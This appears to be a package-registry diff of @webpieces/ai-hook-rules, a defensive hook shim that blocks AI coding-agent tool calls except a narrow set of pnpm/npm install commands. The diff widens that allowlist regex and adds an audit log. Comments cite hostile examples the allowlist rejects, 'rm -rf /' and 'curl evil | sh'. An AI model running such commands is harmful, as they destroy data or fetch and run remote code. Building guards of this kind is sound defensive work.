@webpieces/ai-hook-rules 0.3.226 → 0.3.228

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@webpieces/ai-hook-rules",
3
- "version": "0.3.226",
3
+ "version": "0.3.228",
4
4
  "description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
5
5
  "type": "commonjs",
6
6
  "main": "./src/index.js",
@@ -35,7 +35,7 @@
35
35
  "directory": "packages/tooling/ai-hook-rules"
36
36
  },
37
37
  "dependencies": {
38
- "@webpieces/rules-config": "0.3.226"
38
+ "@webpieces/rules-config": "0.3.228"
39
39
  },
40
40
  "publishConfig": {
41
41
  "access": "public"
package/src/bin/shim.d.ts CHANGED
@@ -1,6 +1,6 @@
1
1
  export declare const SHIM_MARKER = ".claude/webpieces/ai-hook.sh";
2
2
  export declare function shimPath(projectRoot: string): string;
3
- export declare const INSTALLER_ALLOW_ERE = "^(pnpm|npm) install([[:space:]]+--[A-Za-z][A-Za-z-]*)*[[:space:]]*$";
3
+ export declare const INSTALLER_ALLOW_ERE = "^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$";
4
4
  export declare const INSTALLER_ALLOW_JS: RegExp;
5
5
  export declare function renderShim(): string;
6
6
  export declare function healShim(cwd: string): void;
package/src/bin/shim.js CHANGED
@@ -26,14 +26,26 @@ function shimPath(projectRoot) {
26
26
  // self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks
27
27
  // the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).
28
28
  //
29
- // Base command + `--flags` only. Because nothing but `--word` tokens may follow `install`, shell
30
- // operators (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) cannot match so nothing can be smuggled
31
- // alongside the install. Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).
32
- exports.INSTALLER_ALLOW_ERE = '^(pnpm|npm) install([[:space:]]+--[A-Za-z][A-Za-z-]*)*[[:space:]]*$';
29
+ // What's allowed (the realistic self-heal spellings an earlier version only matched a bare
30
+ // `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):
31
+ // - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT
32
+ // yarn this repo installs with pnpm/npm only, so yarn stays denied.)
33
+ // - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)
34
+ // - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)
35
+ //
36
+ // No `cd` prefix on purpose: the root package.json IS the install target in this nx monorepo and
37
+ // Claude Code starts at the repo root, so a bare `pnpm install` always works — no `cd` is ever needed,
38
+ // and allowing one would only widen the attack surface of a fail-CLOSED escape hatch.
39
+ //
40
+ // Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only
41
+ // accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride
42
+ // along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.
43
+ // Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).
44
+ exports.INSTALLER_ALLOW_ERE = '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$';
33
45
  // JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). Not used by the fail-closed
34
46
  // shim (which is pure sh), but kept as the single JS-side definition should a future guard ever need
35
47
  // to recognise installer commands in the runner. A unit test asserts the two agree on a sample set.
36
- exports.INSTALLER_ALLOW_JS = /^(pnpm|npm) install(\s+--[A-Za-z][A-Za-z-]*)*\s*$/;
48
+ exports.INSTALLER_ALLOW_JS = /^(pnpm|npm)\s+(install|i)(\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*\s*$/;
37
49
  // Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\${BIN_NAME},
38
50
  // \$REASON, \\n for the deny JSON) AND my sed backslashes (doubled: \\(, \\), \\1, [^"\\\\]). The
39
51
  // grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).
@@ -62,9 +74,20 @@ fi
62
74
  PAYLOAD="$(cat)"
63
75
  CMD="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"command"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
64
76
  TOOL="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"tool_name"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
77
+ # Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a
78
+ # human can inspect after something odd (an install that was denied, or one that slipped through). One
79
+ # tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or
80
+ # blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is
81
+ # the PreToolUse decision channel — a stray byte there would corrupt allow/deny).
82
+ LOG_DIR="$ROOT/.webpieces/logs"
83
+ wp_log() { # $1 = decision label (ALLOW-INSTALL | DENY)
84
+ { mkdir -p "$LOG_DIR" 2>/dev/null && printf '%s\\t%s\\t%s\\t%s\\t%s\\n' "$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)" "$BIN_NAME" "$TOOL" "$1" "$CMD" >> "$LOG_DIR/ai-hook-shim.log"; } 2>/dev/null || true
85
+ }
65
86
  if printf '%s' "$CMD" | grep -Eq '${exports.INSTALLER_ALLOW_ERE}'; then
87
+ wp_log ALLOW-INSTALL # record the self-heal we let through
66
88
  exit 0 # allow the installer so the assistant can self-heal the deadlock
67
89
  fi
90
+ wp_log DENY # record every fail-closed block for later inspection
68
91
  # Not an installer command → FAIL CLOSED. Deny via Claude Code's PreToolUse JSON protocol
69
92
  # (permissionDecision "deny" on stdout, then exit 0) rather than a bare "exit 2". BOTH block the call,
70
93
  # but the reason must be made visible, and HOW depends on the tool (verified by live tests; the docs
@@ -1 +1 @@
1
- {"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":";;;AAgBA,4BAEC;AAoBD,gCAmDC;AAuBD,4BAcC;;AA9HD,+CAAyB;AACzB,mDAA6B;AAE7B,8EAA8E;AAC9E,qGAAqG;AACrG,oGAAoG;AACpG,mGAAmG;AACnG,mGAAmG;AACnG,8BAA8B;AAC9B,EAAE;AACF,6FAA6F;AAC7F,qGAAqG;AACrG,oFAAoF;AACpF,8EAA8E;AACjE,QAAA,WAAW,GAAG,8BAA8B,CAAC;AAE1D,SAAgB,QAAQ,CAAC,WAAmB;IACxC,OAAO,IAAI,CAAC,IAAI,CAAC,WAAW,EAAE,SAAS,EAAE,WAAW,EAAE,YAAY,CAAC,CAAC;AACxE,CAAC;AAED,6FAA6F;AAC7F,qGAAqG;AACrG,uGAAuG;AACvG,EAAE;AACF,iGAAiG;AACjG,mGAAmG;AACnG,6FAA6F;AAChF,QAAA,mBAAmB,GAC5B,qEAAqE,CAAC;AAE1E,iGAAiG;AACjG,qGAAqG;AACrG,oGAAoG;AACvF,QAAA,kBAAkB,GAAG,mDAAmD,CAAC;AAEtF,oGAAoG;AACpG,kGAAkG;AAClG,wFAAwF;AACxF,SAAgB,UAAU;IACtB,OAAO;;;;;;;;;;;;;;;;;;;;;;;;oCAwByB,2BAAmB;;;;;;;;;;;;;;;;;;;;;;;;;CAyBtD,CAAC;AACF,CAAC;AAED,gGAAgG;AAChG,iGAAiG;AACjG,mGAAmG;AACnG,sGAAsG;AACtG,uFAAuF;AACvF,SAAS,YAAY,CAAC,GAAW;IAC7B,IAAI,GAAG,GAAG,GAAG,CAAC;IACd,SAAS,CAAC;QACN,IAAI,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;YAAE,OAAO,GAAG,CAAC;QAC7C,MAAM,MAAM,GAAG,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC;QACjC,IAAI,MAAM,KAAK,GAAG;YAAE,MAAM;QAC1B,GAAG,GAAG,MAAM,CAAC;IACjB,CAAC;IACD,MAAM,GAAG,GAAG,OAAO,CAAC,GAAG,CAAC,oBAAoB,CAAC,CAAC;IAC9C,IAAI,GAAG,IAAI,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;QAAE,OAAO,GAAG,CAAC;IACpD,OAAO,IAAI,CAAC;AAChB,CAAC;AAED,qGAAqG;AACrG,mGAAmG;AACnG,+EAA+E;AAC/E,SAAgB,QAAQ,CAAC,GAAW;IAChC,8DAA8D;IAC9D,IAAI,CAAC;QACD,MAAM,IAAI,GAAG,YAAY,CAAC,GAAG,CAAC,CAAC;QAC/B,IAAI,CAAC,IAAI;YAAE,OAAO;QAClB,MAAM,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC;QAC9B,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,IAAI,EAAE,CAAC,YAAY,CAAC,MAAM,EAAE,MAAM,CAAC,KAAK,OAAO;YAAE,OAAO;QACxD,EAAE,CAAC,aAAa,CAAC,MAAM,EAAE,OAAO,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACnD,EAAE,CAAC,SAAS,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC;IAChC,CAAC;IAAC,OAAO,GAAY,EAAE,CAAC;QACpB,6BAA6B;QAC7B,oEAAoE;IACxE,CAAC;AACL,CAAC","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// Base command + `--flags` only. Because nothing but `--word` tokens may follow `install`, shell\n// operators (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) cannot match — so nothing can be smuggled\n// alongside the install. Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nexport const INSTALLER_ALLOW_ERE =\n '^(pnpm|npm) install([[:space:]]+--[A-Za-z][A-Za-z-]*)*[[:space:]]*$';\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). Not used by the fail-closed\n// shim (which is pure sh), but kept as the single JS-side definition should a future guard ever need\n// to recognise installer commands in the runner. A unit test asserts the two agree on a sample set.\nexport const INSTALLER_ALLOW_JS = /^(pnpm|npm) install(\\s+--[A-Za-z][A-Za-z-]*)*\\s*$/;\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-setup-ai-hooks) — do not edit; the installer AND the running\n# guards binary both overwrite this file (self-healing) from renderShim(). Checked in on purpose so the\n# hook has a stable, committed entry point even when node_modules is absent. Safe to delete along with\n# the matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\nif [ -x \"$BIN\" ]; then\n exec \"$BIN\" \"$@\" # exec preserves stdin — hooks receive the tool payload as JSON on stdin\nfi\n# Bin missing (fresh clone before install, or a broken install). The webpieces guards CANNOT run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the one command (pnpm/npm install) that re-enables the guards. A silent exit 0 = \"allow\"\n# in the PreToolUse protocol; the guards resume automatically once node_modules is present.\nPAYLOAD=\"$(cat)\"\nCMD=\"$(printf '%s' \"$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"$(printf '%s' \"$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nif printf '%s' \"$CMD\" | grep -Eq '${INSTALLER_ALLOW_ERE}'; then\n exit 0 # allow the installer so the assistant can self-heal the deadlock\nfi\n# Not an installer command → FAIL CLOSED. Deny via Claude Code's PreToolUse JSON protocol\n# (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n# but the reason must be made visible, and HOW depends on the tool (verified by live tests; the docs\n# are wrong here):\n# - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n# is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n# \"run pnpm install\" fix is visible (today, on Bash, it is invisible).\n# - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n# no systemMessage needed (a second line would be redundant).\n# - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n# The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via \\${BS} so no raw ESC byte and\n# no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n# single JSON string with no double-quotes/backslashes, so it stays valid JSON after \\${BIN_NAME} subs.\nREASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry. (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nif [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\nfunction findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n"]}
1
+ {"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":";;;AAgBA,4BAEC;AAiCD,gCA8DC;AAuBD,4BAcC;;AAtJD,+CAAyB;AACzB,mDAA6B;AAE7B,8EAA8E;AAC9E,qGAAqG;AACrG,oGAAoG;AACpG,mGAAmG;AACnG,mGAAmG;AACnG,8BAA8B;AAC9B,EAAE;AACF,6FAA6F;AAC7F,qGAAqG;AACrG,oFAAoF;AACpF,8EAA8E;AACjE,QAAA,WAAW,GAAG,8BAA8B,CAAC;AAE1D,SAAgB,QAAQ,CAAC,WAAmB;IACxC,OAAO,IAAI,CAAC,IAAI,CAAC,WAAW,EAAE,SAAS,EAAE,WAAW,EAAE,YAAY,CAAC,CAAC;AACxE,CAAC;AAED,6FAA6F;AAC7F,qGAAqG;AACrG,uGAAuG;AACvG,EAAE;AACF,6FAA6F;AAC7F,mGAAmG;AACnG,mGAAmG;AACnG,uGAAuG;AACvG,sFAAsF;AACtF,gGAAgG;AAChG,EAAE;AACF,iGAAiG;AACjG,uGAAuG;AACvG,sFAAsF;AACtF,EAAE;AACF,oGAAoG;AACpG,sGAAsG;AACtG,2FAA2F;AAC3F,sEAAsE;AACzD,QAAA,mBAAmB,GAC5B,6FAA6F,CAAC;AAElG,iGAAiG;AACjG,qGAAqG;AACrG,oGAAoG;AACvF,QAAA,kBAAkB,GAC3B,kEAAkE,CAAC;AAEvE,oGAAoG;AACpG,kGAAkG;AAClG,wFAAwF;AACxF,SAAgB,UAAU;IACtB,OAAO;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;oCAiCyB,2BAAmB;;;;;;;;;;;;;;;;;;;;;;;;;;;CA2BtD,CAAC;AACF,CAAC;AAED,gGAAgG;AAChG,iGAAiG;AACjG,mGAAmG;AACnG,sGAAsG;AACtG,uFAAuF;AACvF,SAAS,YAAY,CAAC,GAAW;IAC7B,IAAI,GAAG,GAAG,GAAG,CAAC;IACd,SAAS,CAAC;QACN,IAAI,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;YAAE,OAAO,GAAG,CAAC;QAC7C,MAAM,MAAM,GAAG,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC;QACjC,IAAI,MAAM,KAAK,GAAG;YAAE,MAAM;QAC1B,GAAG,GAAG,MAAM,CAAC;IACjB,CAAC;IACD,MAAM,GAAG,GAAG,OAAO,CAAC,GAAG,CAAC,oBAAoB,CAAC,CAAC;IAC9C,IAAI,GAAG,IAAI,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;QAAE,OAAO,GAAG,CAAC;IACpD,OAAO,IAAI,CAAC;AAChB,CAAC;AAED,qGAAqG;AACrG,mGAAmG;AACnG,+EAA+E;AAC/E,SAAgB,QAAQ,CAAC,GAAW;IAChC,8DAA8D;IAC9D,IAAI,CAAC;QACD,MAAM,IAAI,GAAG,YAAY,CAAC,GAAG,CAAC,CAAC;QAC/B,IAAI,CAAC,IAAI;YAAE,OAAO;QAClB,MAAM,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC;QAC9B,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,IAAI,EAAE,CAAC,YAAY,CAAC,MAAM,EAAE,MAAM,CAAC,KAAK,OAAO;YAAE,OAAO;QACxD,EAAE,CAAC,aAAa,CAAC,MAAM,EAAE,OAAO,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACnD,EAAE,CAAC,SAAS,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC;IAChC,CAAC;IAAC,OAAO,GAAY,EAAE,CAAC;QACpB,6BAA6B;QAC7B,oEAAoE;IACxE,CAAC;AACL,CAAC","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// No `cd` prefix on purpose: the root package.json IS the install target in this nx monorepo and\n// Claude Code starts at the repo root, so a bare `pnpm install` always works — no `cd` is ever needed,\n// and allowing one would only widen the attack surface of a fail-CLOSED escape hatch.\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nexport const INSTALLER_ALLOW_ERE =\n '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$';\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). Not used by the fail-closed\n// shim (which is pure sh), but kept as the single JS-side definition should a future guard ever need\n// to recognise installer commands in the runner. A unit test asserts the two agree on a sample set.\nexport const INSTALLER_ALLOW_JS =\n /^(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*\\s*$/;\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-setup-ai-hooks) — do not edit; the installer AND the running\n# guards binary both overwrite this file (self-healing) from renderShim(). Checked in on purpose so the\n# hook has a stable, committed entry point even when node_modules is absent. Safe to delete along with\n# the matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\nif [ -x \"$BIN\" ]; then\n exec \"$BIN\" \"$@\" # exec preserves stdin — hooks receive the tool payload as JSON on stdin\nfi\n# Bin missing (fresh clone before install, or a broken install). The webpieces guards CANNOT run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the one command (pnpm/npm install) that re-enables the guards. A silent exit 0 = \"allow\"\n# in the PreToolUse protocol; the guards resume automatically once node_modules is present.\nPAYLOAD=\"$(cat)\"\nCMD=\"$(printf '%s' \"$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"$(printf '%s' \"$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"$ROOT/.webpieces/logs\"\nwp_log() { # $1 = decision label (ALLOW-INSTALL | DENY)\n { mkdir -p \"$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"$BIN_NAME\" \"$TOOL\" \"$1\" \"$CMD\" >> \"$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nif printf '%s' \"$CMD\" | grep -Eq '${INSTALLER_ALLOW_ERE}'; then\n wp_log ALLOW-INSTALL # record the self-heal we let through\n exit 0 # allow the installer so the assistant can self-heal the deadlock\nfi\nwp_log DENY # record every fail-closed block for later inspection\n# Not an installer command → FAIL CLOSED. Deny via Claude Code's PreToolUse JSON protocol\n# (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n# but the reason must be made visible, and HOW depends on the tool (verified by live tests; the docs\n# are wrong here):\n# - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n# is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n# \"run pnpm install\" fix is visible (today, on Bash, it is invisible).\n# - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n# no systemMessage needed (a second line would be redundant).\n# - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n# The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via \\${BS} so no raw ESC byte and\n# no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n# single JSON string with no double-quotes/backslashes, so it stays valid JSON after \\${BIN_NAME} subs.\nREASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry. (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nif [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\nfunction findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = 